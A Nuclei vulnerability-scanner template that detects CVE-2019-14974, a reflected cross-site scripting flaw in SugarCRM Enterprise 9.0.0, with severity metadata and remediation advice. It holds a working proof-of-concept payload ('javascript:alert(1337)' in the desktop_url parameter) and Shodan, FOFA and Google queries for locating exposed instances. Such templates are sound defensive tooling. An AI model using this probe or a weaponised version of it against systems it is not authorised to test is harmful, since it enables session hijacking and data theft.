id: CVE-2019-14974

info:
  name: SugarCRM Enterprise 9.0.0 - Cross-Site Scripting
  author: madrobot
  severity: medium
  description: SugarCRM Enterprise 9.0.0 contains a cross-site scripting vulnerability via mobile/error-not-supported-platform.html?desktop_url.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patch or upgrade to a non-vulnerable version of SugarCRM Enterprise.
  reference:
    - https://www.exploit-db.com/exploits/47247
    - https://nvd.nist.gov/vuln/detail/CVE-2019-14974
    - https://github.com/anonymous364872/Rapier_Tool
    - https://github.com/merlinepedra/nuclei-templates
    - https://github.com/merlinepedra25/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-14974
    cwe-id: CWE-79
    epss-score: 0.53858
    epss-percentile: 0.98037
    cpe: cpe:2.3:a:sugarcrm:sugarcrm:9.0.0:*:*:*:enterprise:*:*:*
  metadata:
    max-request: 1
    vendor: sugarcrm
    product: sugarcrm
    shodan-query:
      - http.html:"sugarcrm inc. all rights reserved"
      - http.title:sugarcrm
    fofa-query:
      - body="sugarcrm inc. all rights reserved"
      - title=sugarcrm
    google-query:
      - intitle:sugarcrm
      - intext:"sugarcrm inc. all rights reserved"
  tags: cve,cve2019,xss,sugarcrm,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/mobile/error-not-supported-platform.html?desktop_url=javascript:alert(1337);//itms://"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "url = window.location.search.split(\"?desktop_url=\")[1]"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100cb24db379bfe6f775f83bdfac3d7d8aa78a11ad76c16b60afd3e8300520fbc7c022100918c6ce3f0da9c85d9ae3227974a0946c51f7f4d1ba902d28f8dd5316848f6f4:922c64590222798bb761d5b6d8e72950